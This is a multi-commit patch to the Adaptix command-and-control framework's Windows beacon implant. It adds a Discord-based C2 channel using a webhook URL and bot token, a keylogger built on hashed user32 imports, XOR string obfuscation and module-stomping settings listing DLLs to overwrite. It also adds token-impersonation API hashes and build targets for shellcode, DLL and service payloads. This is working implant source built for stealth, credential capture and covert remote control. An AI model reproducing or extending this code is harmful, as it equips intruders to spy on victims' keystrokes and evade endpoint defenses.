AdaptixServer/extenders/beacon_agent/src_beacon/beacon/Obfuscate.h diff --git a/AdaptixServer/extenders/beacon_agent/src_beacon/Makefile b/AdaptixServer/extenders/beacon_agent/src_beacon/Makefile index e3bc7efed..fa7851cee 100644 --- a/AdaptixServer/extenders/beacon_agent/src_beacon/Makefile +++ b/AdaptixServer/extenders/beacon_agent/src_beacon/Makefile @@ -38,6 +38,7 @@ COMMON_FLAGS := -I $(BEACON_DIR) \ -w \ $(ASM_SYNTAX) \ -fPIC \ + -DDJB2_SEED=1572U \ $(SECURITY_FLAGS) \ $(OPTIMIZATION_FLAGS) @@ -82,44 +83,44 @@ x64: $(HTTP_OBJECTS_X64) $(SMB_OBJECTS_X64) $(TCP_OBJECTS_X64) $(DNS_OBJECTS_X64 @$(CXX_X64) -c $(COMMON_FLAGS) $(BEACON_DIR)/main.cpp -D BEACON_HTTP -D BUILD_SVC -o $(HTTP_DIST_DIR)/main_service.x64.o @$(CXX_X64) -c $(COMMON_FLAGS) $(BEACON_DIR)/main.cpp -D_WIN32_WINNT=0x0600 -D BEACON_HTTP -D BUILD_DLL -o $(HTTP_DIST_DIR)/main_dll.x64.o @$(CXX_X64) -c $(COMMON_FLAGS) $(BEACON_DIR)/main.cpp -D BEACON_HTTP -D BUILD_SHELLCODE -o $(HTTP_DIST_DIR)/main_shellcode.x64.o - @rm -f $(HTTP_DIST_DIR)/ConnectorSMB.x64.o $(HTTP_DIST_DIR)/ConnectorTCP.x64.o $(HTTP_DIST_DIR)/ConnectorDNS.x64.o + @rm -f $(HTTP_DIST_DIR)/ConnectorSMB.x64.o $(HTTP_DIST_DIR)/ConnectorTCP.x64.o $(HTTP_DIST_DIR)/ConnectorDNS.x64.o $(HTTP_DIST_DIR)/ConnectorDiscord.x64.o @ # smb @$(CXX_X64) -c $(COMMON_FLAGS) $(BEACON_DIR)/main.cpp -D BEACON_SMB -D BUILD_SVC -o $(SMB_DIST_DIR)/main_service.x64.o @$(CXX_X64) -c $(COMMON_FLAGS) $(BEACON_DIR)/main.cpp -D_WIN32_WINNT=0x0600 -D BEACON_SMB -D BUILD_DLL -o $(SMB_DIST_DIR)/main_dll.x64.o @$(CXX_X64) -c $(COMMON_FLAGS) $(BEACON_DIR)/main.cpp -D BEACON_SMB -D BUILD_SHELLCODE -o $(SMB_DIST_DIR)/main_shellcode.x64.o - @rm -f $(SMB_DIST_DIR)/ConnectorHTTP.x64.o $(SMB_DIST_DIR)/ConnectorTCP.x64.o $(SMB_DIST_DIR)/ConnectorDNS.x64.o + @rm -f $(SMB_DIST_DIR)/ConnectorHTTP.x64.o $(SMB_DIST_DIR)/ConnectorTCP.x64.o $(SMB_DIST_DIR)/ConnectorDNS.x64.o $(SMB_DIST_DIR)/ConnectorDiscord.x64.o @ # tcp @$(CXX_X64) -c $(COMMON_FLAGS) $(BEACON_DIR)/main.cpp -D BEACON_TCP -D BUILD_SVC -o $(TCP_DIST_DIR)/main_service.x64.o @$(CXX_X64) -c $(COMMON_FLAGS) $(BEACON_DIR)/main.cpp -D_WIN32_WINNT=0x0600 -D BEACON_TCP -D BUILD_DLL -o $(TCP_DIST_DIR)/main_dll.x64.o @$(CXX_X64) -c $(COMMON_FLAGS) $(BEACON_DIR)/main.cpp -D BEACON_TCP -D BUILD_SHELLCODE -o $(TCP_DIST_DIR)/main_shellcode.x64.o - @rm -f $(TCP_DIST_DIR)/ConnectorHTTP.x64.o $(TCP_DIST_DIR)/ConnectorSMB.x64.o $(TCP_DIST_DIR)/ConnectorDNS.x64.o + @rm -f $(TCP_DIST_DIR)/ConnectorHTTP.x64.o $(TCP_DIST_DIR)/ConnectorSMB.x64.o $(TCP_DIST_DIR)/ConnectorDNS.x64.o $(TCP_DIST_DIR)/ConnectorDiscord.x64.o @ # dns @$(CXX_X64) -c $(COMMON_FLAGS) $(BEACON_DIR)/main.cpp -D BEACON_DNS -D BUILD_SVC -o $(DNS_DIST_DIR)/main_service.x64.o @$(CXX_X64) -c $(COMMON_FLAGS) $(BEACON_DIR)/main.cpp -D_WIN32_WINNT=0x0600 -D BEACON_DNS -D BUILD_DLL -o $(DNS_DIST_DIR)/main_dll.x64.o @$(CXX_X64) -c $(COMMON_FLAGS) $(BEACON_DIR)/main.cpp -D BEACON_DNS -D BUILD_SHELLCODE -o $(DNS_DIST_DIR)/main_shellcode.x64.o - @rm -f $(DNS_DIST_DIR)/ConnectorHTTP.x64.o $(DNS_DIST_DIR)/ConnectorSMB.x64.o $(DNS_DIST_DIR)/ConnectorTCP.x64.o + @rm -f $(DNS_DIST_DIR)/ConnectorHTTP.x64.o $(DNS_DIST_DIR)/ConnectorSMB.x64.o $(DNS_DIST_DIR)/ConnectorTCP.x64.o $(DNS_DIST_DIR)/ConnectorDiscord.x64.o x86: $(HTTP_OBJECTS_X86) $(SMB_OBJECTS_X86) $(TCP_OBJECTS_X86) $(DNS_OBJECTS_X86) @ # http @$(CXX_X86) -c $(COMMON_FLAGS) $(BEACON_DIR)/main.cpp -D BEACON_HTTP -D BUILD_SVC -o $(HTTP_DIST_DIR)/main_service.x86.o @$(CXX_X86) -c $(COMMON_FLAGS) $(BEACON_DIR)/main.cpp -D_WIN32_WINNT=0x0600 -D BEACON_HTTP -D BUILD_DLL -o $(HTTP_DIST_DIR)/main_dll.x86.o @$(CXX_X86) -c $(COMMON_FLAGS) $(BEACON_DIR)/main.cpp -D BEACON_HTTP -D BUILD_SHELLCODE -o $(HTTP_DIST_DIR)/main_shellcode.x86.o - @rm -f $(HTTP_DIST_DIR)/ConnectorSMB.x86.o $(HTTP_DIST_DIR)/ConnectorTCP.x86.o $(HTTP_DIST_DIR)/ConnectorDNS.x86.o + @rm -f $(HTTP_DIST_DIR)/ConnectorSMB.x86.o $(HTTP_DIST_DIR)/ConnectorTCP.x86.o $(HTTP_DIST_DIR)/ConnectorDNS.x86.o $(HTTP_DIST_DIR)/ConnectorDiscord.x86.o @ # smb @$(CXX_X86) -c $(COMMON_FLAGS) $(BEACON_DIR)/main.cpp -D BEACON_SMB -D BUILD_SVC -o $(SMB_DIST_DIR)/main_service.x86.o @$(CXX_X86) -c $(COMMON_FLAGS) $(BEACON_DIR)/main.cpp -D_WIN32_WINNT=0x0600 -D BEACON_SMB -D BUILD_DLL -o $(SMB_DIST_DIR)/main_dll.x86.o @$(CXX_X86) -c $(COMMON_FLAGS) $(BEACON_DIR)/main.cpp -D BEACON_SMB -D BUILD_SHELLCODE -o $(SMB_DIST_DIR)/main_shellcode.x86.o - @rm -f $(SMB_DIST_DIR)/ConnectorHTTP.x86.o $(SMB_DIST_DIR)/ConnectorTCP.x86.o $(SMB_DIST_DIR)/ConnectorDNS.x86.o + @rm -f $(SMB_DIST_DIR)/ConnectorHTTP.x86.o $(SMB_DIST_DIR)/ConnectorTCP.x86.o $(SMB_DIST_DIR)/ConnectorDNS.x86.o $(SMB_DIST_DIR)/ConnectorDiscord.x86.o @ # tcp @$(CXX_X86) -c $(COMMON_FLAGS) $(BEACON_DIR)/main.cpp -D BEACON_TCP -D BUILD_SVC -o $(TCP_DIST_DIR)/main_service.x86.o @$(CXX_X86) -c $(COMMON_FLAGS) $(BEACON_DIR)/main.cpp -D_WIN32_WINNT=0x0600 -D BEACON_TCP -D BUILD_DLL -o $(TCP_DIST_DIR)/main_dll.x86.o @$(CXX_X86) -c $(COMMON_FLAGS) $(BEACON_DIR)/main.cpp -D BEACON_TCP -D BUILD_SHELLCODE -o $(TCP_DIST_DIR)/main_shellcode.x86.o - @rm -f $(TCP_DIST_DIR)/ConnectorHTTP.x86.o $(TCP_DIST_DIR)/ConnectorSMB.x86.o $(TCP_DIST_DIR)/ConnectorDNS.x86.o + @rm -f $(TCP_DIST_DIR)/ConnectorHTTP.x86.o $(TCP_DIST_DIR)/ConnectorSMB.x86.o $(TCP_DIST_DIR)/ConnectorDNS.x86.o $(TCP_DIST_DIR)/ConnectorDiscord.x86.o @ # dns @$(CXX_X86) -c $(COMMON_FLAGS) $(BEACON_DIR)/main.cpp -D BEACON_DNS -D BUILD_SVC -o $(DNS_DIST_DIR)/main_service.x86.o @$(CXX_X86) -c $(COMMON_FLAGS) $(BEACON_DIR)/main.cpp -D_WIN32_WINNT=0x0600 -D BEACON_DNS -D BUILD_DLL -o $(DNS_DIST_DIR)/main_dll.x86.o @$(CXX_X86) -c $(COMMON_FLAGS) $(BEACON_DIR)/main.cpp -D BEACON_DNS -D BUILD_SHELLCODE -o $(DNS_DIST_DIR)/main_shellcode.x86.o - @rm -f $(DNS_DIST_DIR)/ConnectorHTTP.x86.o $(DNS_DIST_DIR)/ConnectorSMB.x86.o $(DNS_DIST_DIR)/ConnectorTCP.x86.o + @rm -f $(DNS_DIST_DIR)/ConnectorHTTP.x86.o $(DNS_DIST_DIR)/ConnectorSMB.x86.o $(DNS_DIST_DIR)/ConnectorTCP.x86.o $(DNS_DIST_DIR)/ConnectorDiscord.x86.o $(HTTP_DIST_DIR)/%.x64.o: beacon/%.cpp diff --git a/AdaptixServer/extenders/beacon_agent/src_beacon/beacon/AgentConfig.h b/AdaptixServer/extenders/beacon_agent/src_beacon/beacon/AgentConfig.h index 71d70131c..6a1f17a73 100644 --- a/AdaptixServer/extenders/beacon_agent/src_beacon/beacon/AgentConfig.h +++ b/AdaptixServer/extenders/beacon_agent/src_beacon/beacon/AgentConfig.h @@ -64,6 +64,14 @@ typedef struct { BYTE* user_agent; } ProfileDNS; +typedef struct { + BYTE* webhook_url; + BYTE* bot_token; + BYTE* channel_tasks_id; + ULONG poll_interval; + BOOL cleanup; +} ProfileDiscord; + #endif @@ -95,6 +103,9 @@ class AgentConfig #elif defined(BEACON_DNS) ProfileDNS profile; +#elif defined(BEACON_DISCORD) + ProfileDiscord profile; + #endif AgentConfig(); diff --git a/AdaptixServer/extenders/beacon_agent/src_beacon/beacon/ApiDefines.h b/AdaptixServer/extenders/beacon_agent/src_beacon/beacon/ApiDefines.h index f61a79c2d..2a6fd362e 100644 --- a/AdaptixServer/extenders/beacon_agent/src_beacon/beacon/ApiDefines.h +++ b/AdaptixServer/extenders/beacon_agent/src_beacon/beacon/ApiDefines.h @@ -5,6 +5,7 @@ #define HASH_LIB_IPHLPAPI 0x2d288345 #define HASH_LIB_ADVAPI32 0x721421e8 #define HASH_LIB_MSVCRT 0xb707534d +#define HASH_LIB_USER32 0x1206f7d2 //ntdll @@ -195,4 +196,13 @@ #define HASH_FUNC_BIND 0x6f560281 #define HASH_FUNC_LISTEN 0xb4374c73 #define HASH_FUNC_RECVFROM 0xcfb09288 -#define HASH_FUNC_SENDTO 0xc44006d1 \ No newline at end of file +#define HASH_FUNC_SENDTO 0xc44006d1 + +//user32 +#define HASH_FUNC_GETASYNCKEYSTATE 0x124c2dac +#define HASH_FUNC_GETFOREGROUNDWINDOW 0x641cf097 +#define HASH_FUNC_GETKEYBOARDSTATE 0x41305fb6 +#define HASH_FUNC_GETWINDOWTEXTW 0x745a77f8 +#define HASH_FUNC_GETWINDOWTHREADPROCESSID 0x6ede2a0 +#define HASH_FUNC_MAPVIRTUALKEYW 0x8142b7c9 +#define HASH_FUNC_TOUNICODE 0x406b25ee \ No newline at end of file diff --git a/AdaptixServer/extenders/beacon_agent/src_beacon/beacon/DebugLog.h b/AdaptixServer/extenders/beacon_agent/src_beacon/beacon/DebugLog.h new file mode 100644 index 000000000..e4713ae6d --- /dev/null +++ b/AdaptixServer/extenders/beacon_agent/src_beacon/beacon/DebugLog.h @@ -0,0 +1,3 @@ +#pragma once + +#define DBG(fmt, ...) ((void)0) diff --git a/AdaptixServer/extenders/beacon_agent/src_beacon/beacon/Obfuscate.h b/AdaptixServer/extenders/beacon_agent/src_beacon/beacon/Obfuscate.h new file mode 100644 index 000000000..3ed6855c2 --- /dev/null +++ b/AdaptixServer/extenders/beacon_agent/src_beacon/beacon/Obfuscate.h @@ -0,0 +1,35 @@ +#pragma once + +// Compile-time string obfuscation. +// Strings are XOR-encrypted at compile time and decrypted at first access. + +namespace obf { + +template +class String { + mutable char data_[N]; + mutable bool dec_; + +public: + constexpr String(const char (&str)[N]) : data_{}, dec_(false) { + for (unsigned int i = 0; i < N; ++i) + data_[i] = str[i] ^ KEY; + } + + operator const char*() const { + if (!dec_) { + for (unsigned int i = 0; i < N; ++i) + data_[i] ^= KEY; + dec_ = true; + } + return data_; + } +}; + +constexpr char keygen(const char* f, int l) { + return static_cast((f[0] * 7 + l * 13 + 0x5A) & 0xFF) | 1; +} + +} // namespace obf + +#define OBF(str) (obf::String(str)) diff --git a/AdaptixServer/extenders/beacon_agent/src_beacon/beacon/utils.cpp b/AdaptixServer/extenders/beacon_agent/src_beacon/beacon/utils.cpp index ff65b7db2..2d0961759 100644 --- a/AdaptixServer/extenders/beacon_agent/src_beacon/beacon/utils.cpp +++ b/AdaptixServer/extenders/beacon_agent/src_beacon/beacon/utils.cpp @@ -277,6 +277,12 @@ ULONG GenerateRandom32() return seed; } +void GenerateRandomBytes(BYTE* buf, ULONG len) +{ + for (ULONG i = 0; i < len; i++) + buf[i] = (BYTE)(GenerateRandom32() & 0xFF); +} + BYTE GetGmtOffset() { TIME_ZONE_INFORMATION temp; diff --git a/AdaptixServer/extenders/beacon_agent/src_beacon/beacon/utils.h b/AdaptixServer/extenders/beacon_agent/src_beacon/beacon/utils.h index 5e446ab0d..3402e6462 100644 --- a/AdaptixServer/extenders/beacon_agent/src_beacon/beacon/utils.h +++ b/AdaptixServer/extenders/beacon_agent/src_beacon/beacon/utils.h @@ -45,6 +45,8 @@ BOOL WriteDataToSocket(SOCKET sock, BYTE* buffer, ULONG bufferSize); ULONG GenerateRandom32(); +void GenerateRandomBytes(BYTE* buf, ULONG len); + BYTE GetGmtOffset(); BOOL IsElevate(); From 2234dde8ccf397b5d677797f06e341b8590a1dc7 Mon Sep 17 00:00:00 2001 From: En3nr4 Date: Sat, 2 May 2026 13:27:54 +0200 Subject: [PATCH 11/11] fix: resolve plugin loading, Discord pipeline, and interface compatibility - Add new extenders to profile.yaml and go.work for proper loading - Fix Teamserver interface in linux/macOS agents (TsDownloadAdd int64, add Terminal/TunnelPause methods) - Wire Discord connector build pipeline (Makefile, config.yaml, ax_config) - Add module stomping UI controls and stomp_paths.inc generation - Add keylogger command dispatch in Commander - Fix 8 missing DJB2 hash constants in pl_hashes.go - Regenerate go.sum for all new modules --- AdaptixServer/extenders/beacon_agent/Makefile | 1 + .../extenders/beacon_agent/ax_config.axs | 47 ++++++++++--- .../extenders/beacon_agent/config.yaml | 1 + AdaptixServer/extenders/beacon_agent/go.sum | 1 + .../extenders/beacon_agent/pl_hashes.go | 14 ++++ .../extenders/beacon_agent/pl_main.go | 66 +++++++++++++++++-- .../extenders/beacon_agent/pl_utils.go | 2 + .../beacon_agent/src_beacon/Makefile | 42 ++++++++++-- .../beacon_agent/src_beacon/beacon/Agent.cpp | 2 +- .../src_beacon/beacon/AgentConfig.cpp | 8 +++ .../src_beacon/beacon/Commander.cpp | 46 +++++++++++++ .../src_beacon/beacon/Commander.h | 3 + .../src_beacon/beacon/ConnectorDiscord.cpp | 36 +++++++++- .../src_beacon/beacon/ConnectorDiscord.h | 35 +++++----- .../src_beacon/beacon/MainAgent.cpp | 4 ++ .../extenders/beacon_listener_discord/go.sum | 2 + .../extenders/hosting_service/go.sum | 2 + .../extenders/linux_agent/pl_main.go | 12 +++- .../extenders/linux_listener_tcp/go.mod | 5 +- .../extenders/linux_listener_tcp/go.sum | 9 +-- AdaptixServer/extenders/macos_agent/go.sum | 16 +++++ .../extenders/macos_agent/pl_main.go | 12 +++- .../extenders/phishing_service/go.sum | 2 + AdaptixServer/go.mod | 2 +- AdaptixServer/go.sum | 2 + AdaptixServer/go.work | 6 ++ AdaptixServer/profile.yaml | 6 ++ 27 files changed, 330 insertions(+), 54 deletions(-) create mode 100644 AdaptixServer/extenders/beacon_listener_discord/go.sum create mode 100644 AdaptixServer/extenders/hosting_service/go.sum create mode 100644 AdaptixServer/extenders/macos_agent/go.sum create mode 100644 AdaptixServer/extenders/phishing_service/go.sum diff --git a/AdaptixServer/extenders/beacon_agent/Makefile b/AdaptixServer/extenders/beacon_agent/Makefile index 378a28029..33599f67d 100644 --- a/AdaptixServer/extenders/beacon_agent/Makefile +++ b/AdaptixServer/extenders/beacon_agent/Makefile @@ -11,6 +11,7 @@ all: clean @ mv src_beacon/objects_smb ./dist/objects_smb @ mv src_beacon/objects_tcp ./dist/objects_tcp @ mv src_beacon/objects_dns ./dist/objects_dns + @ mv src_beacon/objects_discord ./dist/objects_discord @ cp -r src_beacon/beacon ./dist/beacon @ cp -r src_beacon/files ./dist/files @ echo " done..." diff --git a/AdaptixServer/extenders/beacon_agent/ax_config.axs b/AdaptixServer/extenders/beacon_agent/ax_config.axs index cb1f3fc7e..953ef5150 100644 --- a/AdaptixServer/extenders/beacon_agent/ax_config.axs +++ b/AdaptixServer/extenders/beacon_agent/ax_config.axs @@ -268,6 +268,8 @@ function RegisterCommands(listenerType) ax.execute_alias(id, cmdline, new_cmd); }); + let cmd_keylog = ax.create_command("keylog", "Start keyboard logger (stop with 'jobs kill')", "keylog", "Task: start keylogger"); + let cmd_interact = ax.create_command("interact", "Set 'sleep 0'", "interact"); cmd_interact.setPreHook(function (id, cmdline, parsed_json, ...parsed_lines) { ax.execute_alias(id, cmdline, "sleep 0"); @@ -275,20 +277,20 @@ function RegisterCommands(listenerType) if(listenerType == "BeaconDNS") { let commands_dns = ax.create_commands_group("beacon", [cmd_cat, cmd_cd, cmd_cp, cmd_disks, cmd_download, cmd_execute, cmd_exfil, cmd_getuid, - cmd_job, cmd_link, cmd_ls, cmd_lportfwd, cmd_mv, cmd_mkdir, cmd_profile, cmd_ps, cmd_pwd, cmd_rev2self, cmd_rm, cmd_rportfwd, cmd_sleep, + cmd_job, cmd_keylog, cmd_link, cmd_ls, cmd_lportfwd, cmd_mv, cmd_mkdir, cmd_profile, cmd_ps, cmd_pwd, cmd_rev2self, cmd_rm, cmd_rportfwd, cmd_sleep, cmd_socks, cmd_terminate, cmd_unlink, cmd_upload, cmd_shell, cmd_powershell, cmd_interact, cmd_burst] ); return { commands_windows: commands_dns } } - else if(listenerType == "BeaconHTTP") { + else if(listenerType == "BeaconHTTP" || listenerType == "BeaconDiscord") { let commands_http = ax.create_commands_group("beacon", [cmd_cat, cmd_cd, cmd_cp, cmd_disks, cmd_download, cmd_execute, cmd_exfil, cmd_getuid, - cmd_job, cmd_link, cmd_ls, cmd_lportfwd, cmd_mv, cmd_mkdir, cmd_profile, cmd_ps, cmd_pwd, cmd_rev2self, cmd_rm, cmd_rportfwd, cmd_sleep, + cmd_job, cmd_keylog, cmd_link, cmd_ls, cmd_lportfwd, cmd_mv, cmd_mkdir, cmd_profile, cmd_ps, cmd_pwd, cmd_rev2self, cmd_rm, cmd_rportfwd, cmd_sleep, cmd_socks, cmd_terminate, cmd_unlink, cmd_upload, cmd_shell, cmd_powershell, cmd_interact] ); return { commands_windows: commands_http } } else if (listenerType == "BeaconSMB" || listenerType == "BeaconTCP") { let commands_internal = ax.create_commands_group("beacon", [cmd_cat, cmd_cd, cmd_cp, cmd_disks, cmd_download, cmd_execute, cmd_exfil, cmd_getuid, - cmd_job, cmd_link, cmd_ls, cmd_lportfwd, cmd_mv, cmd_mkdir, cmd_profile, cmd_ps, cmd_pwd, cmd_rev2self, cmd_rm, cmd_rportfwd, + cmd_job, cmd_keylog, cmd_link, cmd_ls, cmd_lportfwd, cmd_mv, cmd_mkdir, cmd_profile, cmd_ps, cmd_pwd, cmd_rev2self, cmd_rm, cmd_rportfwd, cmd_socks, cmd_terminate, cmd_unlink, cmd_upload, cmd_shell, cmd_powershell, cmd_interact] ); return { commands_windows: commands_internal } @@ -316,7 +318,7 @@ function GenerateUI(listeners_type) spinJitter.setRange(0, 100); spinJitter.setValue(0); - if( !listeners_type.includes("BeaconHTTP") && !listeners_type.includes("BeaconDNS") ) { + if( !listeners_type.includes("BeaconHTTP") && !listeners_type.includes("BeaconDNS") && !listeners_type.includes("BeaconDiscord") ) { labelSleep.setVisible(false); textSleep.setVisible(false); spinJitter.setVisible(false); @@ -345,6 +347,28 @@ function GenerateUI(listeners_type) // checkIatHiding.setVisible(false); // } + let checkModuleStomp = form.create_check("Module Stomping (Shellcode x64 only)"); + checkModuleStomp.setChecked(true); + let labelStompPaths = form.create_label("Stomp DLLs:"); + let textStompPaths = form.create_textmulti( + "C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\clrjit.dll\n" + + "C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorlib.ni.dll\n" + + "C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\clrjit.dll\n" + + "C:\\Program Files\\Google\\Chrome\\Application\\chrome_elf.dll\n" + + "C:\\Program Files (x86)\\Google\\Chrome\\Application\\chrome_elf.dll\n" + + "C:\\Program Files\\Mozilla Firefox\\nss3.dll\n" + + "C:\\Program Files (x86)\\Mozilla Firefox\\nss3.dll\n" + + "C:\\Program Files\\7-Zip\\7z.dll\n" + + "C:\\Program Files\\Git\\mingw64\\bin\\libcurl-4.dll\n" + + "C:\\Program Files\\VideoLAN\\VLC\\libvlc.dll\n" + + "C:\\Program Files (x86)\\Microsoft\\Edge\\Application\\msedge_elf.dll\n" + + "mshtml.dll\n" + + "shell32.dll\n" + + "dbghelp.dll\n" + + "mfc140u.dll\n" + + "vcruntime140.dll" + ); + //////////////////// DNS Settings let labelDnsMode = form.create_label("DNS Mode:"); @@ -484,9 +508,12 @@ function GenerateUI(listeners_type) layout.addWidget(labelRotation, 8, 0, 1, 1); layout.addWidget(comboRotation, 8, 1, 1, 2); layout.addWidget(checkIatHiding, 9, 0, 1, 3); - layout.addWidget(group_proxy, 10, 0, 1, 3); - layout.addWidget(group_dns, 12, 0, 1, 3); - layout.addWidget(spacer2, 12, 0, 1, 3); + layout.addWidget(checkModuleStomp, 10, 0, 1, 3); + layout.addWidget(labelStompPaths, 11, 0, 1, 1); + layout.addWidget(textStompPaths, 11, 1, 1, 2); + layout.addWidget(group_proxy, 12, 0, 1, 3); + layout.addWidget(group_dns, 14, 0, 1, 3); + layout.addWidget(spacer2, 15, 0, 1, 3); form.connect(comboAgentFormat, "currentTextChanged", function(text) { if(text == "Service Exe") { @@ -524,6 +551,8 @@ function GenerateUI(listeners_type) container.put("is_sideloading", checkSideloading) container.put("sideloading_content", sideloadingSelector) container.put("iat_hiding", checkIatHiding) + container.put("module_stomp", checkModuleStomp) + container.put("stomp_paths", textStompPaths) container.put("use_proxy", group_proxy) container.put("proxy_type", comboProxyType) container.put("proxy_host", textProxyServer) @@ -538,7 +567,7 @@ function GenerateUI(listeners_type) return { ui_panel: panel, ui_container: container, - ui_height: 480, + ui_height: 620, ui_width: 500 } } \ No newline at end of file diff --git a/AdaptixServer/extenders/beacon_agent/config.yaml b/AdaptixServer/extenders/beacon_agent/config.yaml index 9698c5847..feb472a3f 100644 --- a/AdaptixServer/extenders/beacon_agent/config.yaml +++ b/AdaptixServer/extenders/beacon_agent/config.yaml @@ -9,4 +9,5 @@ listeners: - "BeaconTCP" - "BeaconSMB" - "BeaconDNS" + - "BeaconDiscord" multi_listeners: false diff --git a/AdaptixServer/extenders/beacon_agent/go.sum b/AdaptixServer/extenders/beacon_agent/go.sum index 77f53e819..8889bb84d 100644 --- a/AdaptixServer/extenders/beacon_agent/go.sum +++ b/AdaptixServer/extenders/beacon_agent/go.sum @@ -1 +1,2 @@ github.com/Adaptix-Framework/axc2 v1.2.0 h1:WYEg502NTTtX1tQJUz2AaC2dmm/bS/1L1iOHOQ5kEYA= +github.com/Adaptix-Framework/axc2 v1.2.0/go.mod h1:3oJyFeRVIql1RTsNa0meEqK3+P+6JTAMMjMdVyXhbaQ= diff --git a/AdaptixServer/extenders/beacon_agent/pl_hashes.go b/AdaptixServer/extenders/beacon_agent/pl_hashes.go index 46d974586..bc9a10f33 100644 --- a/AdaptixServer/extenders/beacon_agent/pl_hashes.go +++ b/AdaptixServer/extenders/beacon_agent/pl_hashes.go @@ -154,12 +154,16 @@ var hashFuncSections = []struct { {"HASH_FUNC_CONNECTNAMEDPIPE", "ConnectNamedPipe"}, {"HASH_FUNC_COPYFILEA", "CopyFileA"}, {"HASH_FUNC_CREATEDIRECTORYA", "CreateDirectoryA"}, + {"HASH_FUNC_CREATEEVENTA", "CreateEventA"}, {"HASH_FUNC_CREATEFILEA", "CreateFileA"}, {"HASH_FUNC_CREATENAMEDPIPEA", "CreateNamedPipeA"}, {"HASH_FUNC_CREATEPIPE", "CreatePipe"}, {"HASH_FUNC_CREATEPROCESSA", "CreateProcessA"}, + {"HASH_FUNC_CREATETHREAD", "CreateThread"}, + {"HASH_FUNC_DELETECRITICALSECTION", "DeleteCriticalSection"}, {"HASH_FUNC_DELETEFILEA", "DeleteFileA"}, {"HASH_FUNC_DISCONNECTNAMEDPIPE", "DisconnectNamedPipe"}, + {"HASH_FUNC_ENTERCRITICALSECTION", "EnterCriticalSection"}, {"HASH_FUNC_FINDCLOSE", "FindClose"}, {"HASH_FUNC_FINDFIRSTFILEA", "FindFirstFileA"}, {"HASH_FUNC_FINDNEXTFILEA", "FindNextFileA"}, @@ -192,7 +196,9 @@ var hashFuncSections = []struct { {"HASH_FUNC_HEAPDESTROY", "HeapDestroy"}, {"HASH_FUNC_HEAPREALLOC", "HeapReAlloc"}, {"HASH_FUNC_HEAPFREE", "HeapFree"}, + {"HASH_FUNC_INITIALIZECRITICALSECTION", "InitializeCriticalSection"}, {"HASH_FUNC_ISWOW64PROCESS", "IsWow64Process"}, + {"HASH_FUNC_LEAVECRITICALSECTION", "LeaveCriticalSection"}, {"HASH_FUNC_LOADLIBRARYA", "LoadLibraryA"}, {"HASH_FUNC_LOCALALLOC", "LocalAlloc"}, {"HASH_FUNC_LOCALFREE", "LocalFree"}, @@ -202,12 +208,15 @@ var hashFuncSections = []struct { {"HASH_FUNC_PEEKNAMEDPIPE", "PeekNamedPipe"}, {"HASH_FUNC_READFILE", "ReadFile"}, {"HASH_FUNC_REMOVEDIRECTORYA", "RemoveDirectoryA"}, + {"HASH_FUNC_RESETEVENT", "ResetEvent"}, {"HASH_FUNC_RTLCAPTURECONTEXT", "RtlCaptureContext"}, {"HASH_FUNC_SETCURRENTDIRECTORYA", "SetCurrentDirectoryA"}, {"HASH_FUNC_SETNAMEDPIPEHANDLESTATE", "SetNamedPipeHandleState"}, {"HASH_FUNC_SLEEP", "Sleep"}, + {"HASH_FUNC_TRYENTERCRITICALSECTION", "TryEnterCriticalSection"}, {"HASH_FUNC_VIRTUALALLOC", "VirtualAlloc"}, {"HASH_FUNC_VIRTUALFREE", "VirtualFree"}, + {"HASH_FUNC_WAITFORSINGLEOBJECT", "WaitForSingleObject"}, {"HASH_FUNC_WAITNAMEDPIPEA", "WaitNamedPipeA"}, {"HASH_FUNC_WIDECHARTOMULTIBYTE", "WideCharToMultiByte"}, {"HASH_FUNC_WRITEFILE", "WriteFile"}, @@ -217,6 +226,9 @@ var hashFuncSections = []struct { }}, {"// advapi32", []hashEntry{ {"HASH_FUNC_ALLOCATEANDINITIALIZESID", "AllocateAndInitializeSid"}, + {"HASH_FUNC_CREATEPROCESSASUSERA", "CreateProcessAsUserA"}, + {"HASH_FUNC_CREATEPROCESSWITHTOKENW", "CreateProcessWithTokenW"}, + {"HASH_FUNC_DUPLICATETOKENEX", "DuplicateTokenEx"}, {"HASH_FUNC_GETTOKENINFORMATION", "GetTokenInformation"}, {"HASH_FUNC_INITIALIZESECURITYDESCRIPTOR", "InitializeSecurityDescriptor"}, {"HASH_FUNC_IMPERSONATELOGGEDONUSER", "ImpersonateLoggedOnUser"}, @@ -269,6 +281,8 @@ var hashFuncSections = []struct { {"HASH_FUNC_AXDOWNLOADMEMORY", "AxDownloadMemory"}, {"HASH_FUNC_BEACONWAKEUP", "BeaconWakeup"}, {"HASH_FUNC_BEACONGETSTOPJOBEVENT", "BeaconGetStopJobEvent"}, + {"HASH_FUNC_BEACONREGISTERTHREADCALLBACK", "BeaconRegisterThreadCallback"}, + {"HASH_FUNC_BEACONUNREGISTERTHREADCALLBACK", "BeaconUnregisterThreadCallback"}, }}, {"// wininet", []hashEntry{ {"HASH_FUNC_INTERNETOPENA", "InternetOpenA"}, diff --git a/AdaptixServer/extenders/beacon_agent/pl_main.go b/AdaptixServer/extenders/beacon_agent/pl_main.go index 8ca4354d5..a3c7bccbc 100644 --- a/AdaptixServer/extenders/beacon_agent/pl_main.go +++ b/AdaptixServer/extenders/beacon_agent/pl_main.go @@ -290,14 +290,17 @@ type GenerateConfig struct { ProxyUsername string `json:"proxy_username"` ProxyPassword string `json:"proxy_password"` RotationMode string `json:"rotation_mode"` + ModuleStomp bool `json:"module_stomp"` + StompPaths string `json:"stomp_paths"` } var ( - ObjectDir_http = "objects_http" - ObjectDir_smb = "objects_smb" - ObjectDir_tcp = "objects_tcp" - ObjectDir_dns = "objects_dns" - ObjectFiles = [...]string{"Agent", "AgentConfig", "AgentInfo", "ApiLoader", "beacon_functions", "bof_loader", "Boffer", "Commander", "crt", "Crypt", "Downloader", "Encoders", "JobsController", "MainAgent", "MemorySaver", "Packer", "Pivotter", "ProcLoader", "Proxyfire", "std", "utils", "WaitMask"} + ObjectDir_http = "objects_http" + ObjectDir_smb = "objects_smb" + ObjectDir_tcp = "objects_tcp" + ObjectDir_dns = "objects_dns" + ObjectDir_discord = "objects_discord" + ObjectFiles = [...]string{"Agent", "AgentConfig", "AgentInfo", "ApiLoader", "beacon_functions", "bof_loader", "Boffer", "Commander", "crt", "Crypt", "Downloader", "Encoders", "JobsController", "Keylogger", "MainAgent", "MemorySaver", "Packer", "Pivotter", "ProcLoader", 